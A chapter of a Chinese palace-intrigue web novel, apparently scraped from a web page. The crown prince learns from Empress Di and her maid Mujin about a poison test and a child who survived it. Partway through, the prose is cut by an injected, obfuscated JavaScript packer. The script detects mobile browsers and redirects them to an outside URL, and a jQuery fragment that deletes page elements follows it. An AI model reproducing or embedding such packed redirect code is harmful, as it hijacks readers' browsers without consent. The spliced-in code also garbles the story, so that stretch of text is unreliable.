每月有固定两日,皇后是要静心抄写经文的。
今日按道理本不应见客,但道理总是会适情况而变动。
凤栖宫内。
穿着素雅的狄皇后端坐于上位。
她素来不喜打扮,平日穿着也皆是最简便的宫装。
其实今日若来的是旁人,她还是会戴上凤冠彰显下六宫之主的地位。
可面对太子时,狄皇后的目光里总是有着看晚辈的慈爱。
有太子与狄小四爷情同手足之故。
亦有继后多年无所出之因。
“太子近日身体如何?”
狄皇后今日略施粉黛,故而两颊肤色要比原本的白上一个度。
她本就是极白之人。
冬日与漫天飞雪相争都能难分高下。
可与久病缠身的太子坐在一起,她竟也得逊色三分。
“劳烦母后操心,孤好多了。”
太子不急不慢地回应。嘴角挂着的笑容一如往常,在病弱的面容衬托下又显得用尽了力气。
“咳咳!”
急促的咳嗽声骤起。
须臾,因气息不畅,太子面上浮起病态的红晕。
“不是说好多了,怎的又咳嗽起来?”
狄皇后关切道。
眉宇间的焦急之色不似作假。
“太子,喝口水润润嗓子吧。”
殿里的管事姑姑赶忙递上一杯温水。
太子道谢,接过,而后小口小口抿着。
因病之故,太子几乎从不喝茶水。
富海公公正一下一下帮主子顺着背。
过了许久,面上的红晕压下去些,太子才感觉缓了过来。
他又恢复到往常的温润如玉,“国师之前说过,七月是鬼月,或许一不小心又被冲撞到了。”
这套说辞已经说了二十二年。
但胜在好用。
狄皇后闻言松了口气,“无事就好,国师替你请的平安符可要带好。”
“孤一直带在身上的。”
太子摸了下心口的位置。
隔着衣裳,红绳悬挂的平安符正垂在那里。
回想起昨晚所发生的一切,太子状似无意提及,“母后,小四昨日来宫里看孤了。”
“是吗?”
狄皇后有片刻的失神,旋即嗔怪道:“他呀,倒是与你好得很。这大半年没见,他也没说抽空来看看我这姑姑。”
“小四昨日未曾换洗,你也知道,他呀,打小最好面子,可不得好生收拾一番,换上京中最时兴的服饰才肯来见您。”
太子在调侃中替狄非顽做出解释。
狄皇后也能回想起自家侄子往日在京中恣意张扬的模样,倒是对狄小四没来的怨气少了很多。
“他呀,总是这个样子。”
“可不是,昨日要不是有重要的事情要同我说,指定也不能那么晚进宫见我。”
简单寒暄终是为了引出话题,停顿几息,太子稍稍收敛了笑意,“母后可知小四要与我说的事情是何?”
“这……”
狄皇后迟疑。
她连狄非顽回京之事都不曾得知,又怎会知晓兄弟间所谈要事。
看太子神情,狄皇后猜测,“是有什么大事发生?可是关于——”
“你的病?”
“果然知侄子莫若亲姑母。”
太子还有闲情逸致哄人。
没办法,关于他生病的话题,实在是过于沉重,“小四说,在城西有处名唤店子湾的地方发现了一人,据小五诊脉所知,此人中毒极深。”
狄皇后黛眉微蹙,“齐小子也在?”
“其实小三也在,母后知道的,我们几人总是凑在一起。”
太子如实相告。
有些事情该隐瞒,但有些一查就知道之事就没了隐瞒的必要。
狄皇后颔首,倒没觉得有太多意外。
念及太子之前的话,转念之间狄皇后心中已有了大致的猜想成型。
“那人所中之毒与你有关?”
狄皇后试探道。
太子点头一瞬,又摇了摇头。
在狄皇后怀疑猜错了时,直接道:“那人所中之毒与孤身上之毒一般无二。”
昨晚几兄弟夜谈的内容被挑挑拣拣说了出来。
然……
寂静。
满室的寂静。
狄皇后面上的表情没有太大变动。
熟悉她的人却是知晓,狄皇后心里已然惊涛骇浪,而声音却是出奇的平静,“这到底……木槿,怎么回事!”
狄皇后本意是问问怎么回事,余光瞥见管事姑姑木槿时眉头不由蹙起。
她的声音不自觉严厉。
闻声,太子下意识望去,也就是在这时候才注意到管事姑姑的异常,“母后,木槿姑姑这是怎么了?”
几步开外,送完水静候在一侧的木槿出现了短暂但明显的慌神。
明显到太子注意到了。
狄皇后没有开口,只是静静看着木槿。
木槿拧着绣帕的手紧了紧,抬眼看了眼太子,又迅速低头后快走几步到了狄皇后身边。
随后俯身低语了几句。
狄皇后的神情逐渐恢复平静,等面上最后一丝厉色消褪,木槿退后了几步站定。
“你自己跟太子说吧。”
事已至此,狄皇后不打算隐瞒了。
“是。”
木槿忽得跪地,膝行几步,在离太子还有两步的地方停下,没说原由,而是先磕头认罪,“请太子饶恕奴婢。”
“这……”
一时间,太子也有些为难,不知是让人起来,还是继续跪。
他将视线看向狄皇后。
狄皇后开口道:“有话就直接说,太子听后自会决断。”
看在过往几十年的主仆情义上,狄皇后仍为木槿开脱了几句。
“谢娘娘!”
“谢太子!”
木槿依次磕头谢恩,稍微调整了心态,就听一桩被积压了十几年的旧事重提。
原来当年毒害太子的乃是宁贵妃旁支一脉。
同样的陷害手法在皇贵妃诞下六皇子时也有出现。
只是六皇子生下来便是死胎。
那毒没了用武之地,却是让顺庆帝抓了个正着。
宁贵妃被牵连,这些年闭门不出。
而多出来的毒药最终落到狄皇后手中。
“当年圣上想要让人试毒,是皇后娘娘主动请缨,求到了机会,只是那毒实在是难缠,并未找到解毒之法。”
解不了毒,试毒的人自然也就没了用途。
试毒者本应秘密处理。
只是那年殿中有个年满出宫的宫女。
“长芳在宫里与奴婢最为要好,当年就是看了那试毒的娃娃可怜,才跟奴婢求了与那孩子一同离宫。”
长芳入宫时间比木槿长些。
按规矩来讲,二十五岁便可领一笔银子出宫嫁人。
只是长芳落过水,也请大夫看过。
“其实长芳若是能生,也不会看上那孩子,只是……”
造化弄人。
“奴婢记得,若是那娃娃还活着,今年应该有十六岁了。”
十六岁。
与店子湾孟氏女年龄一般。
“木槿姑姑,你可知试毒一事事关重大。”
太子微怒。
显然,对于木槿处理此事的做法极为不认同。
“长芳不知试毒一事。”
木槿磕头,神色慌乱地解释,“当年之事,皇后娘娘身边只有奴婢知晓,长芳只是看那娃娃痴傻,起了恻隐之心而已。”
“当年……当年长芳离宫时皇后娘娘也知道的。”
木槿眼神希冀地看向狄皇后。
狄皇后略一思忖,颔首,“本宫倒是还有些印象。”
有印象的是离宫的长芳。
还是那因毒痴傻的孩童。
狄皇后并未明说。
作为聪明人,太子也未挑明。
调整思绪,褪去浑身凌厉,太子似是不解道:“当年孤中毒一事牵扯重大,母后何故要趟这趟浑水?”
二十二年前,太子中毒,狄皇后尚未入宫。
几年之后,六皇子事发,当时的狄皇后也不过小小一嫔位。
思及至此,眼前之人主动掺和进试毒一事的意图着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290414|198499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实引人深思。
太子目光愈发深邃。
狄皇后面上表情亦是出现了微不可查的变化。
沉思良久,才听道:“宁贵妃被禁足——”
“有本宫的手笔。”
“……”
太子沉默。
太子欲言又止。
太子叹息。
宁贵妃当年之事无人不知。
宫内闹出的腥风血雨,如今回想仍令亲历者顿感不适。
宁贵妃在顺庆帝跟前是何模样,旁人无从得知。
可殿中伺候人的内侍反应却是做不得假。
娇惯,任性,脾气坏。
这些都是明面上的说法。
背地里的议论终究上不得台面。
太子犹记得中毒一案被揭发乃是宁贵妃家中旁支一脉所做时,钟粹宫连夜抬出的尸体数量。
那是被宁贵妃迁怒所杖毙的,活生生的人。
但深宫之内,最不值钱的就是人命。
尤其是伺候人的内侍。
最后,宁家旁支一脉该砍头的砍头,该流放的流放。
宁贵妃也被禁足。
然,宁家主家势力仍不容小觑。
狄皇后若真如其所言,与宁贵妃禁足一事有关,那无异于惹上了宁家一大家子的疯狗。
“如此,母后这般做也的确是不得已而为之了。”
这一刻,太子感同身受了狄皇后的处境。
与其等待被宁家陷害,最终落得个死无全尸,拖累全族的下场。
不如主动出击,在顺庆帝提出试毒一事时第一时间“挺身而出”。
如今看来,狄皇后当初的选择应是赌对了。
太子与皇后的交谈告一段落。
回忆过往后,狄皇后有些乏了。
太子行礼告退。
出了凤栖宫,富海公公挥退众人,小声询问,“爷,您觉得今日之事如何?”
木槿姑姑所言是否为真。
以及作为管事姑姑今日的失态。
这些都令富海觉得事情并没有那么简单。
太子对此不置可否,只道:“母后不会害孤。”
随即不知想到了什么,竟是浅浅勾起了唇角。
“富海。”
“奴才在。”
富海以为有何要事,不自觉更靠近了些。
太子抬手,摸了摸富海收拾整齐的脑袋,“海呀,以后演戏可要认真此。”
起码不能学木槿姑姑。
富海:……
富海:???
他的头发乱了。
不符合宫规了。
“爷,奴才是说真的!”
富海觉得太子没明白他的担心受怕。
刚才之事属实蹊跷。
“爷知道。”
太子颔首,却是一句解释的话都不多说。
太医说他虽体弱,但每日的锻炼不能少。
太子双手背后,漫步走着。
心中还在回想着狄小四无意间的念叨。
''我爹说,姑姑自小性子最是沉闷。’
''这谁养的下人最像谁,原先小爷还不信,现在呀,啧啧……木槿姑姑那性子简直与姑姑如出一辙!’
''……’
“爷,您在笑什么?”l
富海总算是发现了不对。
“孤呀,在笑……”
被揭穿了,太子索性不再遮掩。
他轻笑出声,连带着面色都红润了不少,“母后对孤真好。”
起码还愿意骗孤。
就是苦了木槿姑姑那么个性子的人。
“富海。”太子唤道,“去将今日之事再查查。”
皇后与木槿姑姑所言不可全信。
但除却说不清理还乱的人情纠葛,剩余的故事经过还是很值得考察一番。
“奴才知道。”
富海领命,脑海里瞬间思绪翻转,忽而想起一事,慎重道:“爷,店子湾孟氏女之事,可还需小四爷继续跟进?”
“这……”
太子锻炼的脚步渐缓,像是真考虑了很久后才说:“此事容孤再想想。”
再好好想想。